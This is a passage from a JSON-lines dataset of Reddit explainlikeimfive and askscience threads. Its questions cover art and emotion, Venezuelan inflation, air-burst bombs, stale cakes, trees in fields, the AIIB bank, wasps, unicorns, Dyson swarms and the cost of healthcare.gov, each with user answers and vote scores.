associations that our brain makes - we hear a particular tinkling run of notes, and that tinkling sound is associated by our brain with water falling.  Then you add in personal experiences, and the result is synaesthetic (which means experiencing one sense triggers memories of others).\n\nSo I hear a song with a slow beat (slows my heart, relaxes me), in a major key (socialization = happy!), where the melody reminds me of moving water (like the waves at the beach), and my brain takes all that together and connects me to a wonderful memory of building a sandcastle with my niece at the beach.\n\nI can't speak to other forms of art/literature, but I suspect there's similar results.  The dissertation was \"Indra's Note:  An Investigation into Musical Awareness\" by Randall Pabich", "We have developed *empathy* as a tool to further the survival of the species. If we all have empathy and become affected by the suffering and joy of others, we are more motivated to assist others of our species in need. In other words, if I feel sad because you're in danger of losing your life, I will try to save your life so that you can be a productive person for the species.\n\nLike almost everything else, this has lost a great amount of significance with the introduction of society. We no longer *need* these things to survive as a species because natural selection/evolution no longer really apply to us. So, they affect us in different ways. Empathy certainly helps people. Empathy makes us want to do charity work, help passersby in need, vote against war mongers (sometimes, obviously, we fail to do so), etc.\n\nA fun affect of empathy is that we can even pull emotional effects from fictitious events and situations, or from representations of reality. That's what gives art its significance. Without empathy, art would have no point and likely would not exist.\n\nLook up the Brain Games episode on empathy. It's on Netflix. It'll explain it to actual five-year-olds and add games to play. Haha hope this helps.", "Well remember that all art, music, and literature, is made by *people*. People who wanted to *express* something through one of these mediums. Express something like a feeling, or thought, or idea, something that they could not convey in simple words, as they were confronted with a strange gap between the limited range of everyday communication, and the seemingly intangible nature of the thing inside of them, waiting to be shared.\n  \nSo they try to bridge this gap. They try to create paths, links, associations, from the '*thing*', the little bit of reality within, to something created outside, which mirrors that feeling inside. The artist, hoping to be able to re-create the feeling - or something analogous to the audience - tries to keep in mind that this path can't be too unique to him or her. It needs to be a path that could take many to a similar place within them, even if they're all different people.\n \nArtists create art because they are moved. What makes them great artists, is not conveying just what they moved, but recreating the way that they became moved at all, through the basis of our mind which is the senses. ", "Most of the comments here are from a scientific perspective. I'd like to add a philosophical perspective to the conversation. \n\n\nExtraordinary art (in general) resonates with us when it points to some deep truth about the nature of our reality as humans. Whether that is the truth of suffering or our hope for the alleviation of that suffering, art reminds us of what it means to be human by tapping into that which we all desire, fear, love, or hate. Goya's [Dog](_URL_1_), for example, immediately conveys a sense of isolation and fear that we have all experienced. Sometimes we are not as connected with that part of our inner life, so seeing the image punctures the dam we've built up, and the emotions pour out. \n\nOr see this explanation of [Mahler's 2nd Symphony](_URL_0_). If you pay attention to the symphony, it's almost impossible not to be moved, since we all fear death. \n\n\n", "I feel it would be very disturbing if an actual five year old asked this question. As adults we become more and more jaded to stimuli, it's harder to be \"moved\" by experiences that we've been through already unless it really resonates with you. Our daily lives grind away at our ability to feel emotions for the humdrum. That's why it's all the more resonant when something manages to touch your mind.", "There are a lot of scientific answers here; I think a quote from Peter Ustinov's character in the movie \"History Boys\" might also shed some light on it:\n\n[\"The best moments in reading are when you come across something - a thought, a feeling, a way of looking at things - that you'd thought special, particular to you. And here it is, set down by someone else, a person you've never met, maybe even someone long dead. And it's as if a hand has come out, and taken yours.\"](_URL_0_)", "It depends on the art form. The answer is always evolution though, fundamentally. Music is the most difficult to explain. I have my own theories on that, but that's against the sub rules. Visual art or literature can recreate the circumstances that would normally trigger emotions in nature. All of these things can also to appeal to our cognitive sense, which may also trigger these. ", "Cue the usual answers: \"we don't know why and it doesn't make sense and it's totally unethical but it's definitely an evolutionary urge to survive...\" ", "This feeling is the EXACT FEELING that people get in church. They say it's the Holy Spirit or gods touch or whatever. No. it's just s natural feeling. You will feel the same at a concert of your favorite band. \n\nDon't be fooled by fairy tales.", "Reality itself is \"sound\" (or vibration) in different frequencies with recurring patterns in the micro and the macro.\nYou may not read this in a modern physics magazine or learn it in school but it is the truth and can be confirmed by studying, among other things, the greatest minds of human history... unfiltered.\n\nOur ability for appreciation of ordered motion and energy influencing concepts wether it be in form of sound as we know it, visuals ect. is deeply rooted in our nature of being part of this universe and thereby being in line with its rules.\n\nI'm sorry, it may not be very easy to understand with conventional knowledge but I wanted to mention this side of it in contrast to all the common \"scientific\" attempts to explain this that are mostly used here.", "Everything we see and experience is stored as information in our brain. Certain images, patterns, or colors will thus trigger certain memories in our brains. ", "I have allways felt it was to do with passion. You see someone you love achieve something great and fell the absolute dedication to their craft in that one moment. You hear a powerfully emotional song and you connect with the artist to a point that you fell the rawness and vulnerability of the musician. We are emotional beings not calculators. I would argue that being able to share passion through art is one of the greatest  parts of humanity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://redd.it/5xoii0", "http://science.howstuffworks.com/life/music-and-art-move-us.htm"], [], [], [], [], [], ["http://www.classicfm.com/composers/mahler/guides/symphony-no-2-genius/", "https://upload.wikimedia.org/wikipedia/commons/3/38/Goya_Dog.jpg"], [], ["https://www.youtube.com/watch?v=KNLV_hs_2KQ&amp;t=63s"], [], [], [], [], [], []]}
{"q_id": "98uhoi", "title": "venezuelan currency has inflated to over 1,000,000 times its value. why can\u2019t they just reassign a value to their dollar to fix the problem?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/98uhoi/eli5_venezuelan_currency_has_inflated_to_over/", "answers": {"a_id": ["e4irk4d", "e4irm6b", "e4irqx5", "e4is51j", "e4iw91d"], "score": [9, 2, 13, 9, 2], "text": ["This means that bread costs 1 milllion bol\u00edvar for example.\n\nIf later they said that 1 million bol\u00edvar is now 1 bol\u00edvar2, what is fixed?\n\nThe problem is that people who saved up money that money is worthless.  If 100k bol\u00edvar used to be worth something ,but it's now useless, it doesn't become useful because it's now called 0.1 bol\u00edvar2.  It's still just as worthless since bread costs 1 bol\u00edvar2.\n\n", "Because a currency is only as strong as the economy (or bullion) backing it up. Said economy is still painfully anemic and hyper-dependent on (stalled) oil and gas revenues.", "I'm not sure what you mean by \"reassign a value\". They could go through a process called \"redenomination\" where something like a million of the current currency becomes equivalent to one of the new currency. Of course they would need to distinguish between the new currency and old.\n\nThat face number of course isn't \"value\" exactly, as the value of a currency is determined by those who are accepting it for payment. The government doesn't really have control over that.", "They actually just did that earlier today. They reduced the value by 95%. But that still won\u2019t fix things if the value keeps rising. They will just end up having to do it again. ", "Reasigning the value to there money is part of the cause.\n\nGoogle 'Weimar republic'\n\nHere I will get you started:\n\n_URL_0_\n\nReally, everything you need to know about inflation is there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Weimar_Republic"]]}
{"q_id": "65ex5u", "title": "why use an \"air burst\" bomb when the target is caves?", "selftext": "Just closing all the doors?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/65ex5u/eli5_why_use_an_air_burst_bomb_when_the_target_is/", "answers": {"a_id": ["dg9oug5", "dg9ow0t"], "score": [2, 2], "text": ["The \"Air Burst\" refers to the fact that the bomb is set off in the air, before reaching the ground.\n\nIt creates an overpressure shockwave, which is effectively a large hammer strike on any and all surfaces in the vicinity.\n\nThat blows out doors, ventilation equipment, fans, roofs, supports, and lung alveoli walls, while consuming all available oxygen, which stalls out generators and living creatures larger than a wasp.", " >  Just closing all the doors?\n\nThat's half of it. The blast pressure collapses tunnels and cave entrances, which traps enemy fighters inside and denies the caves as a strong point. The other half is that enclosed spaces like tunnels and caves focus and amplify the pressure wave. It will travel for a long way down the tunnel wrecking anyone and anything in its path.\n\nThe idea behind using a low altitude airburst rather than detonating on the ground is that the ground reflects a lot of the explosive force back up into the sky, where it is wasted. Small changes in topography (like hills, rock outcrops, or stream beds) can also serve to deflect the blast away from cave and tunnel openings and reduce the effectiveness of the bomb. For maximum effect the bomb should detonate slightly above and in front of the openings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2gvd1i", "title": "Why do cakes go hard over time, while biscuits go soft?", "selftext": "I was just eating a [Jaffa Cake](_URL_1_) and was reminded of the case that McVities brought against HMRC over a decision to classify them as biscuits, [a case that McVities won](_URL_0_).  (It was important because biscuits are subject to Value Added Tax in the UK, while cakes are not.)\n\nAlthough there was more to it than the simple idea that cakes go hard over time, while biscuits go soft, this was a line that was pushed by the media a lot while the case was in progress and it made me wonder why this is the case ...", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2gvd1i/why_do_cakes_go_hard_over_time_while_biscuits_go/", "answers": {"a_id": ["ckmzvo4"], "score": [8], "text": ["Found this answer for you:\n\nWhy does cake and bread go hard, but biscuits go soft when stale?\n\nWhole books have been written on this. The basic answer for bread concerns the crystals of starch in the flour, which are gelatinised during baking (they take up water and become soft). This starch gradually recrystallises over a few days in a process called retrogradation, so that the bread becomes harder. The starch in biscuits also undergoes this process, but it can be overwhelmed by the effect of the sugar that is present in many biscuit recipes. Sugar takes up water from the atmosphere, and this is what causes biscuits that are left out to go soft. Cake can go either way, depending on the recipe, and both processes can be hugely affected by other ingredients in the recipe. "]}, "title_urls": [], "selftext_urls": ["http://www.hmrc.gov.uk/manuals/vfoodmanual/vfood6260.htm", "http://i.imgur.com/4rHruXv.jpg"], "answers_urls": [[]]}
{"q_id": "5903wn", "title": "why are there often single, large trees located in the middle of open fields or farm fields?", "selftext": "I've always thought it has to do with keeping water capillaries working within the field, but I have really no idea and can't find anything definitive regarding it.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5903wn/eli5_why_are_there_often_single_large_trees/", "answers": {"a_id": ["d94m2q7", "d94s07r", "d94urrs", "d94w2on"], "score": [2, 16, 4, 4], "text": ["More often than not its probably due to the physical limitations of farm equipment. For example, if there is a group of large rocks that a farmer doesn't want move, the machinery will have to drive around them letting the tree grow. Tractors also can't drive through areas that are extra steep or extra swampy so these areas are more likely to grow trees. Pastures can also can have trees if they grow big enough so farm animals won't eat them and farmers will leave trees to provide shade. ", "There are several reasons:\n\n1. Trees have deepers and more spread roots than your average crop, therefore, trees are better at keeping the soil together, thus preventing erosion.\n\n2. Trees give shade, which improves animal welfare. \n\n3. Trees can create a microclimate around them, which, usually, benefits the field.\n\n4. Trees provide a strong habitat por pollinators and beneficial wildlife. ", "9 times out of 10, in areas where intensive agriculture is the predominant land use, a random tree in the middle of a field will have an old grave under it.", "Sometimes farmers used those lone trees to take breaks and eat meals. That's why when you are metal detecting it's always a good idea to search around those lone trees. Who knows what could have fallen out of somebody's pocket while they were leaned back against that tree. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "30skku", "title": "what's the significance and possible implications of all these nations joining this new china-led bank? (akin to the world bank)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30skku/eli5_whats_the_significance_and_possible/", "answers": {"a_id": ["cpvgas0", "cpvgg67", "cpviu7h", "cpvjsui"], "score": [25, 59, 7, 2], "text": ["I guess we will wait and see.\n\nThe obvious one is that there is an alternative bank for governments to turn to.\n\nSome countries can't get IMF and world bank loans. Other can only get them with a lot of strings attached, such as: reduce a country's debt to GDP ratio; reduce government spending; lower tariffs; allow imports in; enforce global copyright on pharmaceuticals and entertainment; pay back your previous loan; high interest rate.\n\nNow they have a new place to apply to, with different strings.\n\nAlso IMF and world bank loan often bind the borrower to use western development companies for resource development and infrastructure building. With a Chinese lead bank, Chinese state owned resource companies and development companies will get a better shot at contracts.\n\nEdit: Another thing is China's foreign reserve is full of US treasury bonds, which is not paying any interest at all right now. Putting some of it in the new bank will probably get them a higher interest rate than 0, even if they lose some of it.", "It means, in a basic sense, that nations will be able to go to an Eastern-led development bank instead of Western banks such as the World Bank and IMF (as you mentioned). Since countries usually agree to certain development terms when they receive loans from these places, the issuer of the loan gains control over the development process to a certain extent. Furthermore, since these banks are Western the development parameters will be much more Western-friendly, such as free trade with the US and EU, or growth in a market that would benefit the West. \n\nA Chinese/Eastern development bank would give an alternative to the Western approach. Whether it would be good or bad for developing countries is yet to be seen, but I believe competition usually breeds a positive outcome (lower interest rates, less strict requirements on loans). In either case, it would take away some power the West holds over certain developing countries. Also, it gives countries shunned by the West access to large development banks granted the Chinese/East are willing to put up with them (Iran, Venezuela).", "The Bretton Woods system of the IMF, World Bank,  and such,  grew out of World War 2.  With Europe and Asia trashed, the US was positioned to take the lead in economic growth,  and coerced the rest of world to adopt the dollar (and gold) as the trade currency. Having the dollar be the currency of the world Trade is very beneficial to the country in control of that currency.  \n\nTo use the system,  you have to abide by \"Western\" rules. Most of the West is developed, and makes their money by moving money around and giving it to developing countries. Developed countries don't have to rape and pillage the land to get ahead,  developing countries do. \n\nDeveloping countries don't like to be told that they can't do what they want and what they think they need to, in order to get to where developed countries are. The west was allowed to burn their forests,  pollute the water,  and force children to work.  Why can't developing countries? \n\n Bretton Woods system forces countries to abide by a 70 year old system, one beneficial  to the US,  and one some think is artificially limiting. \n\nThe repercussions of the growth of the AIIB , and the fall of the Bretton Woods? Who knows. Maybe having competition is good and allows both systems to serve different needs. Maybe having an alternative allows a country to have its needs met by the other and everyone wins. More likely,  the banking systems are tied up with the new cold war and the political aims of their parent country.  Instead of proxy wars through Asia between the Americans and the Soviets,  there are proxy banking wars between the US and China. ", "China is developing it's power base to Influence  nations just like the US does and Russia  has. Like the eu  it's a step to greater power "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "d27g8w", "title": "why are wasps attracted to lawnmowers after they\u2019ve been recently been used?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d27g8w/eli5_why_are_wasps_attracted_to_lawnmowers_after/", "answers": {"a_id": ["ezub2rk"], "score": [3], "text": ["It's basically the smell of freshly cut grass. The thing is, that smell is a chemical distress signal, almost like screaming for help. It's triggered when a part of the plant is cut off, originally by plant eating insects, but now by us. It attracts other bigger insects to save the plant, and in return, those bigger insects get food (in the form of the smaller insects eating the plant)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1k3b0t", "title": "why are unicorns not called unihorns?", "selftext": "If uni means one then the next part of the word should be horn because thats what it is referring to, right?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1k3b0t/eli5_why_are_unicorns_not_called_unihorns/", "answers": {"a_id": ["cbkxe4b", "cbl2ed6", "cbl3mx9", "cbl3pe7"], "score": [59, 2, 3, 3], "text": ["In short, they are.\n\n >  unicorn (n.)\n >  early 13c., from Old French unicorne, from Late Latin unicornus (Vulgate), from noun use of Latin unicornis (adj.) \"having one horn,\" from uni- \"one\" (see uni-) + cornus \"horn\" (see horn). \n >  \n\nThe \"corn\" in \"unicorn\" is actually from a Latin root that meant \"horn\". Consequently, this means they are in fact named \"unihorns\".", "This may not completely answer your question, but in German, Unicorn is *Einhorn*, or \"one horn\"", "Cornus in Latin is horn. Uni comes from Latin too. Cornucopia means Horn of Plenty.", "Am I the only one around here who knows how to use the \"GOOGLE\" to get answers? Apparently not among commenters, but perhaps among OPs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "82r15i", "title": "dyson swarm", "selftext": "I know the idea of a Dyson sphere enclosing a star to obtain all of its energy output but I have heard a couple of variants of the concept but the one that caught my attention is the Dyson swarm. Can someone explain exactly what it's supposed to be compared to the sphere idea and how it's supposed to be more feasible than the sphere?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/82r15i/eli5_dyson_swarm/", "answers": {"a_id": ["dvc4u03", "dvc50wc", "dvc5ao0"], "score": [11, 4, 2], "text": ["A Dyson swarm is a huge number of free floating individual satellites occupying the space a Dyson sphere (or ring) would occupy without the connections between them. This is useful because it still captures a lot of the energy and provides a lot of the benefits of a Dyson sphere, but doesn't have near the engineering challenges and has the advantage that it can be put up/expanded piecemeal much more easily (just launch more satellites!) than a normal Dyson structure could.", "There is a net force concern with building a Dyson sphere.  While it's pretty stable once built, a 1/3 built one is hard to make stable.\n\nInstead, a Dyson swarm is just a bunch of satellites orbiting the star.  You start with 2-3 satellites in each orbit, and layer them to avoid collisions.  Then you add more satellites to occupy more of each orbital ring.  Presuming the satellites are light, this can be a stable configuration.  When you have enough satellites that you block 1/2 of the light from the star, you have a 1/2 star Dyson swarm.  There are efficiency losses as you go from 90% upwards, but by the time you get to that, maybe you have the energy to make a full sphere.", "A Dyson sphere is a way of collecting all the energy radiated from a star.  Usually envisioned as a solid sphere, it doesn't have to be anything of the sort.  A dyson swarm would be a variant where a large group of orbiting satellites collect the radiation from the star.  \n\nUpside?  Not as hard to build, and is more scientifically feasible.\n\nDownside?  Requires a lot of overlap, where satellites will eclipse other satellites."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1owop4", "title": "how did _url_0_ cost $634,000,000? that seems a bit much.", "selftext": "Edit: I just got on after work, and this has really blown up. Wow. Thanks for the responses, everyone!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1owop4/eli5_how_did_healthcaregov_cost_634000000_that/", "answers": {"a_id": ["ccwdjyp", "ccwflxx", "ccwg6b9", "ccwgf9i", "ccwgfog", "ccwgxed", "ccwh1w3", "ccwhejp", "ccwhgon", "ccwhprz", "ccwif2k", "ccwileq", "ccwirum", "ccwit9n", "ccwiwkh", "ccwjyay", "ccwjyu5", "ccwk7q9", "ccwkes3", "ccwkl8y", "ccwkurr", "ccwlbrs", "ccwlcqa", "ccwmcsn", "ccwmziy", "ccwn4nx", "ccwnec0", "ccwo0es", "ccwod2v", "ccwod9v", "ccwp0ld", "ccwp48t", "ccwp8cx", "ccwpxw8", "ccwroiv", "ccwtf3l", "ccwudjv", "ccwv1sq", "ccwvfg3", "ccwwpve", "ccwyqoe", "ccwzrmt"], "score": [1773, 39, 4, 80, 5, 2, 9, 24, 5, 8, 21, 5, 19, 2, 43, 5, 18, 5, 2, 3, 2, 2, 5, 3, 2, 10, 10, 2, 3, 4, 3, 6, 3, 3, 5, 4, 6, 2, 3, 2, 4, 3], "text": ["That's the total cost for the entire project, which includes setting up the physical and technical infrastructure for the entire exchange, as well as every states exchange (those that chose to implement them, anyway). It also includes staffing for all the people who did that work, as well as all the lawyers/business people/bureaucrats who made the whole project work.\n\nIt was NOT a $634m **website**, it was a $634m **system**.\n\nEdit: Since this thread blew up and I'm sitting here at the top, I'm going to point out two other comments that I feel do a fantastic job of explaining the cost:\n\n/u/EngineeredMadness talks about a lot of the bureaucratic and technical backend reasons that make this project expensive by it's very nature: _URL_0_\n\n/u/avacar points out that the $634m price tag is a grand total over several contracts that were signed to the company that did the work. There was a WHOLE lot of prep work that took years to go through in order to even be able to begin building a system this complex, and it took a lot of people a lot of time to do it. Couple this with EngineeredMadness's points and you've got a pretty good idea of what happened. \n\n_URL_1_\n\nAgain, I'm not defending the site, or the cost. It's a government contract, it almost undoubtedly had more bloat to it than it needed to. But if you really look at all the in's and out's of what it would take to build a system this complex, you can at least comprehend the reasoning behind why the numbers got so large, and can hopefully appreciate why keeping the site both functional, responsive, and stable is a momentous undertaking.\n", "Here's the real answer: it didn't.  634 is a number that people with an agenda throw around.  It cost closer to 100million.  Before anyone accuses me of being some liberal apologist.  Here's a link from Glenn Becks site, the Blaze.\n_URL_0_\n", "The largest official estimates from the Government Accountability Office totals $394 million, as of June 2013. If there is a more recent report perhaps someone can provide it, this is the one that I've seen:\n\n_URL_1_\n\nAs noted by others in this thread, that total cost was not merely setting up the software stacks for the _URL_0_ domain, it covers the expenses of each contract awarded to various private companies to build the entire system, including personnel and hardware. ", "I worked for CGI Federal as one of the recruiters hiring people for this project. Honestly, with their low salary rates, and the type of people they had to hire because of those low salary rates, this is in no way a surprise to me. They were in such a hurry to staff this project that they would just hire anyone a lot of the time. Now the higher up positions, those they were picky about, but man some people got offers and all I could think was \"how the fuck is this person working on something this important?\". Link to this below.\n\n_URL_0_", "I can answer this, I am a [contracting officer](_URL_0_). \n\nIt is generally more expensive to buy things for the Government because the law requires that we purchase things from small businesses as much as possible. This is to the benefit of the economy as a whole: when small businesses are doing well everyone is doing well.  Since we are dealing with taxpayer money and the publics goodwill, there are a lot of extra requirements you might not see on the commercial side, things like extra insurance and paying their employees at a specified wage rate  set by the labor department. All these things drive up cost significantly... But, we should keep in mind that as the Government spends money, it is also investing in itself, via the economy. So there is that.\n\nAlso, the media * < cough cough, fox news, cough > * really like to misrepresent the costs of Government projects. One of the contracts I wrote was on the Glen Beck program and they straight up lied about the amount and utility of that contract. I have personal experience with this so when I hear $634m... I'm pretty skeptical. \n\nI can answer more questions if you have them. Sorry for any typos, on a cell phone.", "Apparently our university spent about $100M on an elaborate electronic balance transfer system, so that's not a terribly surprising number.", "That only seems like a lot because it doesn't work :)\n\nI work at a fortune 15 company with a large online presence (though we are not internet services focused - like say google).  Our website EASILY costs that much.  I've worked on single pieces of functionality that costs 10s of millions - and this is AFTER we've already paid for our hardware/liscences etc.  \n\nFor a website playing in that league,  it means you're paying for usability consultants, usability studies, SEO consultants, designers, developers, quality assurance, functional analysts, system analysts, lawyers, business leads, business intelligence, marketing analysts, a tier of management between each level - and thats for an entirely private sector endeavor.  Now imagine you're doing all that with an the added requirement that every move you make complies with a stack of federal law as high as a regulation basketball hoop.  oh, and its set up for each participating state?  the stack is now the length of a basketball court.\n\nat this point, you've got as many federal and state liaisons making sure you're doing it right as you do developers actually making the damn thing.\n\nwith that many cooks, im not surprised that the broth is rancid.", "A rundown of the salient points already made:\n\n* it didn't: [as per *Glen Beck's* site](_URL_0_), or else [the GAO (pdf)](_URL_1_).. so $100M - $400M\n* private sites grow organically both in term of goals/functionality and user base; this had to be complete and handle everyone on day 1, something unheard of in the private sector\n* the costs that get thrown around aren't just for the website itself, but for the entire infrastructure \n* the Center for Medicaid and Medicare was still changing the requirements up to a week before the launch (ouch)\n* in government contracting, open source solutions often aren't permitted: in my personal experience this has to do with liability and a requirement for 24/7 third party technical support\n* in general, when it comes to government projects, there are *much* stricter requirements all around that need to be met", "Well, for one, as other people have mentioned, it didn't.\n\nHowever, as someone who has worked a few federal contracts from the consulting side, I can tell you working with the federal government on anything is a shit show.  Everything takes many times as long as it should.  A colleague of mine who did a TON of work in the federal sphere used to take the amount of time it should take to implement a project and multiply it by 8.  He had done the analysis and found that over the years that was pretty accurate.  I agree with him for the most part.\n\nThere is so much coordination, so many extra layers of people that \"need\" to be involved, so many hoops you have to jump through to get access, and yes so much laziness and flat out incompetence (not saying everyone, lots of smart, hard working people too, just there is a higher percentage of bad folks) that it takes retarded amount of time and therefore money to do anything.\n\nWe did a job for a client in DC where the IT department DIDN'T HAVE ACCESS TO ITS OWN ACTIVE DIRECTORY.  Seriously, they were locked into a long term contract to a vendor and and absolutely zero access.  And of course the other vendor was all pissy that we were coming in and doing some work so there was zero cooperation from them.  We ended up setting up an entirely new domain in order to get a system up, forcing all our users to have two logins and passwords.  Now multiply that level of bullshit times 10,000 and you can start to imagine what a hard time these guys had.", "I always break these enterprise projects down into 'people' rather than dollars as I struggle to imagine what x million dollars really means.\n\nLets guess that 20% of the money went on hardware and software. That leaves us with $507M. \n\nA average project team member with suitable experience costs, lets say $90K (good project managers and architects will be twice that, testers and junior developers much less). \n\nThe types of companies that do these projects mark up their staff salaries by a multiplier as they need to cover their sale costs, costs of all of the proposals they didn't win, management costs, healthcare costs for their employees, etc. This multiplier is usually 2 - 3 times salary. Lets opt for 2.5. This makes the cost to the project $225K per person.\n\n507M / 225K  / 5  (assuming a 5 year project) = 450 people. \n\n(edit: This is easy to scale to the $100M number if this is the one you believe. I'm still not clear on what parts of the system this included)\n\nThis doesn't look outrageous to me given the large number of stakeholders, involvement of government bureaucracy and complexity of a system integrating with lots of insurance companies, states, etc. I suspect if a similar enterprise system was implemented for a large private company it would be done at 1/2 the cost, but with more risk.\n\nAs for Facebook or someone else doing this. Most companies are very good at doing what they do - they have evolved over years to do one thing well. This means that they often struggle when it comes to doing something different. This is why Apple makes great hardware, but are dreadful at setting up a social network or why Tesla makes better electric cars than Ford. The companies that take on these projects are experts at tackling very large projects, with poorly defined yet complex requirements and delivering them on time (-ish) and  on budget (-ish).\n\nThe other dirty secret of many of these projects is the team know the first week is going to go badly. The system is going to see 100x the traffic in week 1 than it will in week 20. It's not worth investing in the hardware to handle this. In addition, some of the performance bottlenecks only appear in the real world. Twitter and Facebook didn't roll out to hundreds of millions of users in week 1. They rearchitected their systems time and time again over many years to support that many users. Remember all of the problems Twitter used to have with outages?\n\nA better comparison of a big roll out would be the large games that do go out to millions of users ... Rockstar  and Blizzard are as good as it gets, but we all know badly week 1 of GTA V online and World of Warcraft went. ", "California spent about $500 million for a court case management system that wasn't deployed and was dumped after the $200+ million initial budget was projected to hit about $2 billion in costs (without any guarantee of success even at that price).\n\n_URL_1_\n\nWebsite not included.  The contractor was Deloitte Consulting.  There was huge mismanagement at every level, from the state to the contractor, in order to end up with this kind of death spiral, money pit IT project.  Reading the CCMS auditor [report](_URL_0_) is a valuable lesson in everything that you shouldn't do on a large IT project.  So Obama and the feds might be considered to be a success to merely have anything running at all in light of other IT projects conducted by states with private contractors that ended up completely failing to deliver the promised benefits for their massive costs.", "Off topic, but look at the terms of use for making a comment on _URL_0_.\n\n_URL_1_\n\nThey will only ask for your name and your comment, but their servers will mine your computer for info about you. Seems legit.", "[The $634MM number is malarkey.](_URL_1_)\n\n\"[$634 million is] ALL money being paid to CGI before and after the ACA bill was passed... which is clearly a bogus number to be looking at. If you scroll down on [that page](_URL_0_) you'll see the contracts start in 2008.\"", "I didn't know that ELI 5 was a way to ask questions just to express a political opinion.", "ORACLE is involved.  That accounts for $250 million of the cost, as well as the project's overall failure.", "In a word: Sensationalism", "ITT: Most people dont know what they are talking about.", "~~Is that it? The National Health Service budget for the United Kingdom of Great Britain and Northern Ireland was set at 108.9 Billion in 2012 and was exceeded by a small margin of a few percent.~~\n\n~~This cares very cheaply and fairly efficiently for a mere 65 million people.~~ \n\n~~American healthcare is vastly more expensive in comparison, cares for nearly five times as many people and has to deal with the geographical vastness of the continental united states and a warzone-like trauma situation within many cities.~~\n\nEdit: Read the questing as \"how did US healthcare cost 634 bill\" Oops.", "[The military-industrial-complex cronies](_URL_0_) that [Eisenhower warned us about](_URL_1_) built it.", "My first reaction was that $600 million seemed like a lot.  But then I remembered one F22 Raptor costs $400 million.  ", "* 1 copy of Notepad++ on a government requisition form: $90,000\n* 1 Dell workstation on a government requisition form: $85,000\n* 1 Copy of MS Paint on a government requisition form: $7,000\n* 1 AOL subscription for hosting the site: $9.99/month\n* 1 Mac workstation for graphic design on a government requisition form: $1,700,000\n* 1 copy of Windows so the Mac can run paint $199.99\n* 1 senators brother in law who does IT or something to make the site: $4,000,000\n* 900 person planning committee salary, Caribbean planning trips, and luxury office suite: $245,000,000\n* 20 Indian call center reps to explain the system to vendors: $12,000\n* Advertising budget: $383105790.02\n* Driving the OCD person who did the math and realized I missed a 2 cents crazy: free", "In short, to justify a several hundred million dollar contract, the designers of these systems turn a lean, efficient, couple million dollar project into a bloated mess of inter-operating systems and software.  Because the government auditors will want to see where and why every dollar is spent.\n\nIf you bid $600 million and deliver a *well built* website that only cost a couple hundred thousand to build, you're gonna have questions to answer.\n\nRemember when that South African website for $60 million or whatever turned out to just be a wordpress theme?  That was probably a guy who got the project, looked at the simplest, most efficient ways to build  it, and -- probably wisely -- decided to just make a wordpress template.  I would have done the same.  But do you remember the outrage?\n\nSo... why not just quote $2 million and make a decent system?  A couple reasons:\n\n* Greed.  Not even greed, just business.  If the client is willing to pay  >  $600m for crap, you'd be a shitty business not to give it to them.\n* You'd look like an idiot if your bid was $4 million against 12 other bids in the $500m to $700m range.  The guys awarding those contracts would assume your company had no idea what they were doing.\n\nUnfortunately a company like mine has zero chance of securing a project like that, and yet I can guarantee our system would have worked on day one, and well.  The process of securing contracts on that level is insane -- a lot of red tape and bullshit that I think is good when you are contracting to have a plane or a warship built, but which runs completely contradictory to how to build good software.\n\nBut the guys handling the deals on both ends know more about warships than software, and probably will for a long long time.", "\"You really don't think they spend $40,000 dollars on a hammer, $5,000 on a toilet seat, do you?\"\nIndependence Day", " 634,000,000 $; that's nothing. Wait and see. ", "So... how many people here think they could do a _URL_0_ as an open-source project for a fraction of the cost?", "The amount of people that know nothing of web servers/developing/coding in this thread is too damn high", "Just for the sake of comparison, the medical records system purchased by the healthcare organization that my wife is a physician for cost around 100 million dollars. This was paid to Epic Systems for their already developed medical records system. This is a healthcare organization with 30,000 employees. Compare that to a nationwide novel system and 634 million dollars doesn't seem out of line.", "And funnily enough, that's still not as much as the United States squandered on its excessive military last year.\n\n_URL_0_", "a $634m waste of money", "_URL_2_  \n  \n/*!  \n * Bootstrap v2.3.2  \n *  \n * Copyright 2012 Twitter, Inc  \n * Licensed under the Apache License v2.0  \n * _URL_1_  \n *  \n * Designed and built with all the love in the world @twitter by @mdo and @fat.  \n */   \n  \nview-source:_URL_0_  \n < !--note need to see if this affects the my account registration-- >   \n  \n  \nLittle gems like that all over the place :p", "I know, you would think it would be about  $633 million. I don't quite understand either", "Contracts.  That's how. \n\nThere are about 1,000 military programmers in the DoD at the moment who could've been assigned the project and it wouldn't have cost a dime outside their normal paycheck.  However a portion of that money being made is making its way back to whatever congressmen approved the contract.\n", "I agree that the cost is really high, but to all those people that try to give a budget, and say they could have done it so much cheaper have no idea what they are talking about because they don't know the specific requirements the project had, or all the implications. Only IF the requirements were publicly shared with the public, their budgets and estimates would be something to be taken seriously. ", "Hey at least it created a lot of jobs... in fucking CANADA!", "I used to work for CGI Federal as a business/quality assurance analyst on a Center for Medicare/Medicaid Services project (also with the third-party contractor, QSSI, who's been in the news lately) for about 1.5 years.  We were trying to build an upgrade to the Medicare Complaint tracking system so if someone experienced an issue during emergency/hospital care 